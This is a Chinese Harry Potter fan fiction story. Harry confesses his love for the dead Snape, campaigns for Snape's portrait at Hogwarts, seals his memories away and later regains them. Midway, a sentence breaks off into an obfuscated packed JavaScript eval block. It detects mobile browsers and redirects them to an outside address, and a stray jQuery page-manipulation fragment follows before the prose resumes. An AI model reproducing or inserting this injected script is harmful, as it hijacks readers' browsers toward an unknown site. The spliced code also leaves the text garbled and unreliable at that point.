疼。
哈利的脸火辣辣地痛着,他跌坐在地上,舌尖尝到了血的铁锈味。罗恩站在他面前,拳头还举着,胸膛剧烈起伏。
“你这个混蛋!你知道我们找了你多久吗?”罗恩的脸涨得比头发还红,“金妮昨晚哭了一整夜。而你呢?伟大的救世主哈利·波特在哪里?”
哈利只是用手背擦了擦嘴角的血,继续伸手去够茶几上那瓶空了一半的火焰威士忌。
罗恩看了简直气不打一处来,冲上前一把揪住他的衣领,把他从地上拽起来:“我妈妈从早上四点就开始做你最喜欢的糖浆馅饼。乔治说给你准备了个惊喜,比尔带着芙蓉从贝壳小屋赶来,连珀西都请假回来了。所有人,哈利,所有人都在等你!而你——你躲在这个鬼地方喝得烂醉!”
“罗恩,住手!”赫敏在身后一把拉住罗恩又要挥出的胳膊,“你疯了吗?”
“疯的是他!”罗恩甩开赫敏的手,“今天是他的生日!所有人都在陋居等着!而他呢?没去上班,没请假,谁也找不到!他家里也没人,最后还是克利切——”
“克利切很荣幸为韦斯莱少爷和格兰杰小姐效劳。”那个家养小精灵从阴影里走出来,弓着腰,语气却充满讽刺,“可怜的主人,在他二十岁生日这天,像个懦夫一样躲在这里喝酒,真是布莱克家族的耻辱。老主人和夫人要是知道了,一定会——”
“闭嘴,克利切。”哈利有气无力地说。
格里莫广场十二号的客厅阴暗潮湿,墙上布莱克家祖先的画像都醒了,正兴致勃勃地围观这场闹剧。哈利不知道自己为什么要跑到这里来——也许是因为这里足够阴暗,足够让人消失。
小精灵窃笑着,“主人命令克利切闭嘴,但克利切知道主人在逃避什么。克利切看见了那些羊皮纸,那些关于食死徒教授的——”
“够了!滚出去!”哈利吼道,但立刻后悔了,因为这让他头痛欲裂。
赫敏的目光扫过房间,很快看到克利切说的那些羊皮纸——茶几上散落的到处都是,全是关于斯内普的资料,还有一封写了一半的给校董会的信。
“哈利,你今晚喝了多少?”她蹲下身仔细看着他的脸,“到底怎么回事?”
哈利避开她的目光,又去摸酒瓶。手指刚碰到玻璃瓶身,赫敏的魔杖一挥,瓶子飞到了半空中。
“别逃避了。”赫敏把他扶回沙发上,眼中满是担忧,“哈利,看着我。”
哈利顺着她的力道跌回沙发,然后终于抬起头。他的眼睛布满血丝,下巴上冒出了胡茬,看起来糟透了。
“金妮说你们分手了。她不肯说原因,只是一直哭。”
“对,分手了。”哈利捂着脸,手指插进乱糟糟的黑发里。
“所以你做了什么?”罗恩的怒气又上来了,“是不是那些天天围着你转的女巫?还是说救世主终于厌倦了我妹妹?”
“不是。”
“那是什么?你们不是一直好好的吗?怎么突然——”
哈利沉默了。他盯着壁炉里将熄的火焰,橙红色的余烬一明一灭,像某个人临死前的眼睛。
“哈利。”赫敏又叫了他一声。
“是金妮提出的分手。”哈利把每个字都说得很慢。
“胡说!”罗恩吼道,“金妮爱你爱得——”
“爱我爱得看出了我爱的不是她。”哈利打断了他。
客厅里突然安静下来。
“什么?”罗恩的声音变了调。
“金妮看出来了,她说我爱上了别人。她早就发现了,只是我自己不愿意承认。”
“谁?”罗恩的怒气稍微消了一些,更多的是困惑,“是谁让你——”
哈利又伸手去拿酒瓶,被赫敏按住了。她的表情很奇怪,像是突然明白了什么。
“那些资料,”她慢慢地说,“那些关于斯内普教授的资料。你已经为他的画像申请了两年多。罗恩上个月还说,你办公室里关于他的文件比食死徒的还多。”
哈利不说话。
“哈利,”赫敏的声音更轻了,“你梦见他,对吗?你一直在做那个噩梦。”
“什么噩梦?”罗恩看看赫敏,又看看哈利,“这和斯内普有什么——”
“闭嘴,罗恩。”赫敏厉声说。她依然看着哈利,“金妮说了什么?昨天她到底跟你说了什么?”
哈利闭上眼睛。那天下午的场景又浮现在眼前——金妮坐在帕笛芙夫人茶馆的窗边,阳光照在她的红发上,她那么冷静,像是早就知道了结局。
“她说,”哈利的声音几乎听不见,“她说我爱上了斯内普。”
罗恩发出一声怪叫:“什么?谁?”
“西弗勒斯·斯内普。”哈利又说了一遍。他睁开眼,直视着他最好的两个朋友,“她说我陷得太深。我在梦里喊的是斯内普的名字。”
这次轮到罗恩跌坐在沙发上了。他的嘴巴张得能塞进一个金色飞贼。
“这不好笑,哈利。你喝醉了。”罗恩用奇怪的声音说,“你喝得烂醉,在说胡话。”
“我没有。”
“不可能。”罗恩开始笑,好像哈利说了什么天大的笑话,“哈利,那是斯内普!那个整天刁难你、天天扣你分的老蝙蝠!”
“我知道。”
“他讨厌你!从你进霍格沃兹第一天就讨厌你!”
“我知道。”
“你也讨厌他!你说过无数次!”
“我曾经以为我是。可事实是,我爱上了西弗勒斯·斯内普。”哈利又闭上了眼睛。说出这个名字的时候,他感到某种奇异的解脱,同时也感到更深的绝望。因为现在不仅是他自己知道了,他最好的朋友们也都知道了这个荒谬的真相。
“不,不不不——”罗恩在房间里踱步,双手抓着头发,“这是我听过最疯狂的话!”他转向赫敏,像是寻求支持,“赫敏,你说句话啊!这不可能对吧?哈利怎么可能爱上斯内普?那个叫你难以忍受的万事通的人!那个——”
“罗恩,我知道他做过什么。”赫敏制止道,她的目光一直没有离开哈利。
“那你怎么这么冷静?”罗恩几乎在咆哮,“哈利说他爱上了斯内普!斯内普!”
他忽然止住了咆哮,因为哈利站了起来。
哈利看了眼赫敏,“赫敏,你记得吗?在尖叫棚屋,他临死前说的——”
“看着我。”赫敏轻声说,眼睛里忽然有了泪光。
“就是那句话。”哈利的声音在颤抖,“我做了两年多的噩梦。每晚都是血,每晚都是他的眼睛——”
他停下来,抓起滚到一边的酒瓶灌了一大口。这次赫敏没有阻止。
“那又怎样?”罗恩还在挣扎着理解,“很多人都做噩梦!这不代表——”
“我为他的画像能挂进校长办公室奔走了两年,”哈利继续说,“收集证词,整理档案,一次次被拒绝,一次次重新申请。我的办公室里堆的不是案件,是关于他的一切。”
“那是因为愧疚!”罗恩像抓住救命稻草,“你愧疚!所以你想补偿,想为他正名。因为你以前误解他,后来发现他是好人——”
“我也这么以为。”哈利转过身看向他,“我告诉自己这是为了正义,为了还他清白。可是后来我发现,我在找他,在每一份文件里,每一个证词里。昨天金妮问我——她问我,为什么是他。在所有死去的人里,为什么只有他让我放不下。”
房间再次安静下来。克利切在阴影里嘟囔着什么关于“疯狂的主人”和“耻辱”的话。
罗恩的脸色变了又变,从红到白,从白到青,最后变成一种奇怪的灰色。“你爱上了斯内普。”他机械地重复,像是要通过说出口来理解这句话。“哈利·波特爱上了西弗勒斯·斯内普。”
“可是他……他死了啊。”他最后说,好像这才是重点。
“对,一个死了的斯内普。”哈利补充,又喝了一口酒,“够讽刺吧?我花了七年恨他,然后在他死后才发现——”他没说完,因为他自己也不知道该怎么说。
赫敏擦了擦眼睛,走到哈利身边。她没说什么安慰的话,只是抱了一下他,轻轻拍了拍他的背。
罗恩还愣在那里,过了很久才说:“可是……他爱的是你妈妈啊。”
“是啊。”哈利的笑容很苦涩,“而我只是碰巧有一双她的眼睛。”
他们沉默了很久。克利切悄悄退了出去,画像们也识趣地闭上了眼睛。
“哈利,”赫敏微微皱眉,“这不是你的错。感情这种事——”
“很荒唐,我知道。”
“我想说的是很复杂。”赫敏纠正他,“斯内普教授……他为你做了那么多。也许你的感情是——”
“别试图理解了,赫敏。”哈利疲惫地靠回沙发背,“我自己都觉得不可思议。我怎么会爱上一个已经不在,而且也永远不可能爱我的人?”
罗恩在原地站了很久,然后他走到哈利面前。哈利以为他要再打自己一拳,但罗恩只是拍了拍他的肩膀,在他另一边重重地坐下。
“对不起。”他说,“打你的事。”
“我活该。”
“不,你不活该。只是……”罗恩挠挠头,“梅林啊,哈利,为什么偏偏是斯内普?”
哈利没有回答,因为他自己也不知道答案。
“妈妈怎么办?”罗恩突然想起了什么,“她还在等你去过生日。”他看了眼手表,惊叫出声,“这都快晚上9点了!”
“帮我编个借口吧。”哈利说,“就说傲罗司有紧急任务。我……我过几天再去道歉。”
“她会看出来的。”罗恩说,“她总是能看出来。”
“不,别告诉她。”哈利的声音突然变得急切,“至少今天别说。她为我的生日忙了一整天……”他把脸埋在手里,“梅林啊,韦斯莱夫人一直盼着我和金妮能结婚。她把我当亲儿子一样。可我却——”
“你不是故意的。”赫敏轻声说。
“但我还是伤害了金妮。”哈利抬起头,眼睛发红,“如果我早点发现,早点认清自己的感情……她值得更好的人,一个真正爱她的人。而不是——”他苦笑了一下,“不是一个爱上死人的疯子。”
赫敏怜悯地看着他。
“哈利,”她拿起茶几上那份未完成的申请信,转移了话题,“校董会的申请——”
“又被拒了。”哈利指指茶几上的另一封拒绝信,“第八次。”
“我们会继续努力的。”赫敏说,“我和麦格教授都会——”
“为什么?”哈利抬头看她,“你们不觉得这很……不正常吗?”
赫敏和罗恩交换了一个眼神。
“是有点奇怪。”罗恩承认,“非常奇怪。但是……你是我最好的朋友。如果这对你很重要,那对我们也很重要。我是说,我们会帮你的。那个画像的事。”
“即使是为了斯内普?”
“即使是为了斯内普。”这句话成功让罗恩打了个哆嗦,“虽然我还是觉得很诡异。”
哈利看着他的两个最好的朋友,觉得眼眶发热。最后,他只说了两个字:“谢谢。”
“哈利,”赫敏俯身抱了抱他,“生日快乐。”
“是啊,”罗恩尴尬地说,“生日快乐,哥们。虽然这可能是你过得最糟的一个生日。”
“不。”哈利说,想起了那些真正糟糕的生日——在楼梯间里,在女贞路,在逃亡中。“不是最糟的。”
三个二十岁的年轻人就这样坐在凌乱的客厅里,周围堆满了空酒瓶、羊皮纸,以及不知道能否成功的申请信,谁也没想着收拾一下。
这就是哈利·波特的二十岁生日。没有蛋糕,没有礼物,没有庆祝。只有一个终于被说出口的真相,和两个依然陪在他身边的朋友。
——————
霍格沃兹的校长办公室里,夕阳透过窗户照在那些历任校长的画像上。他们都在假寐,或者至少装作在假寐。
“第十次申请。”麦格教授放下羊皮纸,摘下方形眼镜揉了揉鼻梁,“他们终于同意了,波特先生。虽然措辞依然……”她顿了顿,“不太友善。”
哈利接过信,快速扫了一眼。校董会的用词的确刻薄——“鉴于哈利·波特先生的反复坚持”、“考虑到避免进一步的争议”、“作为特殊情况处理”——但最后一行写得很清楚:同意西弗勒斯·斯内普的画像进入霍格沃兹校长办公室。
“他们同意了。”哈利说话时还有些恍惚。他为这一天奋斗了将近三年,可真的到来时,却不知道该有什么感觉。
“关于画像的绘制,”麦格教授建议,“我联系了几位著名的魔法肖像画家。温德林·威尔克斯愿意——”
“不,谢谢你,教授。”哈利拒绝道,“可我已经找到了画师。”
麦格教授挑起眉毛。
“是一位麻瓜画家。”哈利说,注意到麦格教授的表情,“我知道这很不寻常,但是教授,斯内普教授走得太突然。我去了解过了,他根本没有为画像做任何准备。如果让画师凭印象来画,画出来的只是别人眼中的他。那不是真实的他……”
“可是麻瓜的画像不会动,波特先生。”
“我知道。”
“它不能说话,不能给建议,不能——”
“我知道。”哈利回答得很坚定,“但至少会有一幅画像。”
他没有告诉麦格教授的是,那个伦敦的麻瓜画家以为自己亲眼见过那个黑衣男人,以为那是哈利一个严肃的大学教授。混淆咒让一切变得简单。哈利选择了六年级时的记忆,那时斯内普刚成为黑魔法防御术教授,站在教室前是难得意气风发的样子。
麦格教授长长地看了他一眼,最后叹了口气:“如果这是你想要的。”
三个月后,画像完成了。
那是一个阴沉的下午,哈利独自站在办公室里,画像靠在墙边,刚刚取回不久。明天他就要把画像送去霍格沃兹挂起来了。
画中的斯内普穿着他标志性的黑色长袍,双手交叠在身前,黑眼睛直视前方。那个麻瓜画家技艺精湛——每一个细节都完美无瑕:鹰钩鼻的弧度,薄唇紧抿的角度,甚至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210027|180577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼神中的冷漠。
可它不会动。永远不会。
哈利伸出手,指尖几乎要碰到画布,又在最后一刻收回。
“我做到了。”他对着画像低声说,“他们终于承认你是霍格沃兹的校长。虽然只是‘临时’的,他们还不愿承认你的功绩,但是……至少你的画像会挂在这里。和邓布利多,还有历任校长在一起。”
哈利在画像前站了很久,久到夕阳西下,他才轻声呼唤道,“福克斯。”
金红色的凤凰从虚无中现身,落在他肩上。
“带我去冥想回廊。”
福克斯歪着头看他,发出一声询问的鸣叫。
“我知道你能做到。”哈利说,“你说过的,那扇水晶门可以保存记忆。”
福克斯的鸣叫变得忧伤。它扇动翅膀,金色的火焰包围了他们。下一刻,他们站在了那个圆形的大厅里,四扇门静静伫立。
“记忆潮汐。”哈利凝视着那扇水晶门,门上镶嵌的水晶簇在微光中静静闪烁,“它能保存最珍贵的记忆,是吗?”
福克斯变成了邓布利多的模样。
“是的。”它用邓布利多的声音说,“回廊守护者最重要、最珍贵的记忆都可以封存在这里。但是哈利,你要明白——”
“我会忘记。”哈利说,“我知道。这和冥想盆不同。一旦封存,我就不会记得自己曾经拥有过这些记忆。”
“不只是记忆。”邓布利多的形象说,“还有与之相连的感情。你确定要这么做吗?”
哈利闭上眼睛。他想起金妮眼中的悲伤,想起罗恩的震惊,想起赫敏的理解,还想起自己每晚的噩梦。他在记忆中描摹着那个永远不会动的画像,以及那双永远不会回应的黑眼睛。
“这是一份来得太晚的感情。”哈利的声音极轻,“他已经走了。可泰迪还需要我,凤凰社、魔法界重建……我还有那么多事情要做。罗恩和赫敏已经够担心我了,”他停顿了一下,“我不能一直活在这个影子里。”
“所以你选择遗忘?”福克斯又问。
“不是遗忘。”哈利摇头,“是……保存吧。把它放在一个安全的地方,一个不会影响任何人的地方。这里,”他抬头望向水晶门,“这里够安全,够隐秘。它会一直在这里,即使我不记得。”
“可是对西弗勒斯·斯内普呢?”邓布利多的形象温和地说,“你不觉得这些记忆也是属于他的一部分吗?也许有一天——”
哈利转向那张慈祥的脸。
“不会有那一天的。他永远不会知道。”他说,“而且即使知道了,他也不会在意。”
“你知道吗?”哈利苦笑一声,“他让我看着他,看的也不过是我这双像我妈妈的眼睛。他要看的从来都不是哈利·波特。”
邓布利多的形象沉默了片刻:“也许吧。但无论如何,这是你的选择。如果你准备好的话——”
“我准备好了。”哈利说,“这是最好的选择,对所有人都是。”
但福克斯已经变回了凤凰的形态,它轻轻啄了啄哈利的手。
哈利抽出魔杖,银色的记忆丝线从他的太阳穴缓缓流出——那些关于斯内普的梦,那些日夜的寻找,那些无法言说的思念,那些他甚至不敢承认的爱意。
记忆丝线飘向水晶门,门无声地打开了一条缝。光芒从门缝中流泻而出,温暖而忧伤。
“再见。”哈利轻声说,不知道是对记忆说,还是对那个永远不会回应的人说。
记忆丝线消失在门后,门缓缓关上。哈利眨了眨眼,茫然地看着四周。
“福克斯?”他困惑地说,“我们怎么会在这里?是你带我来的吗?”
凤凰悲伤地鸣叫了一声。
“我刚才做了什么?”哈利摸了摸额头,感觉有些晕眩,“我记得……画像?对,斯内普教授的画像完成了。然后呢?”
福克斯轻轻蹭了蹭他的手,金色的火焰再次包围了他们。
几天后,西弗勒斯·斯内普的画像正式挂进了霍格沃兹校长办公室。那是所有画像中唯一不会动的一幅,但哈利觉得这样就很好。毕竟,斯内普本来就是个特殊的存在。
哈利偶尔会去校长办公室。麦格教授总是在那里,坐在曾经属于邓布利多和斯内普的椅子上,处理着永远也做不完的文件。
“哈利。”她不知不觉间改了对他的称呼,抬起头,从方形眼镜后看着他,“来看他们?”
“是的,教授。如果您不介意的话。”
“当然不。”麦格教授说,“我正好要去图书馆。平斯夫人在抱怨学生又把禁书区的书弄乱了。”她站起来,整理着绿色的长袍,“慢慢聊,不用着急。”
她经过哈利身边时,会轻轻拍一下他的肩膀。这个动作一点也不像严肃的麦格教授,但哈利明白她的意思。
然后办公室里就只剩下哈利和墙上的画像们。他会和邓布利多聊聊天,说说傲罗司的事,说说泰迪的成长。邓布利多总是笑眯眯地听着,偶尔给些建议。
哈利还会在斯内普的画像前站一会儿,默默地看着那双黑眼睛。他不知道自己为什么要这么做,只是觉得应该这么做。
而有时候,他站得久了些,总会觉得那双不会动的黑眼睛似乎在等待着什么。等待什么呢?哈利不知道。
日子就这样过去了。哈利觉得自己过得挺好——工作顺利,泰迪健康成长。韦斯莱夫人知道了他和金妮分手的事,那天她拥抱他的时间格外长,什么都没说,只是拍了拍他的背。她依然坚持让他每个周末都去陋居吃饭。“你永远是我们家的一员,亲爱的。”她这么说,温暖的笑容依旧挂在她的脸上。
唯一奇怪的是,罗恩和赫敏有时会用一种他看不懂的眼神看着他。哈利总觉得他们好像在担心什么。
“怎么了?”他问了好几次。
“没什么。”他们总是这么说,然后迅速转移话题。
还有一次,他在整理照片时发现了一张二十岁生日那天的三人合影。照片里的他看起来憔悴不堪,眼睛红肿得厉害,嘴角还裂开了,一副倒霉的样子。奇怪的是,他完全不记得那天发生了什么不愉快的事。
“那天怎么了?”他问罗恩。
罗恩张了张嘴,又闭上了:“你……你不记得了?”
“记得什么?”
“没什么。”罗恩很快移开视线,“可能是任务太累了吧。”
哈利觉得他们在隐瞒什么,但又说不上来是什么。就像他怎么也想不起自己为什么和金妮分手了。
直到现在。
直到他站在这个保存记忆的温室中,小心地将那株属于他的水晶百合从花圃里取出,轻轻放入池中,注视着它化作纯粹的光流,融入他的体内。
那些被封存的情感开始渗透回来,起初只是涓涓细流,随后变成汹涌的潮水,填满了那个他甚至不知道存在的空洞。
原来如此。原来他曾经爱过,痛苦过,最后选择了遗忘。可谁也没想到,他还是再一次爱上了。
记忆的浪潮渐渐平息。
哈利睁开了眼睛。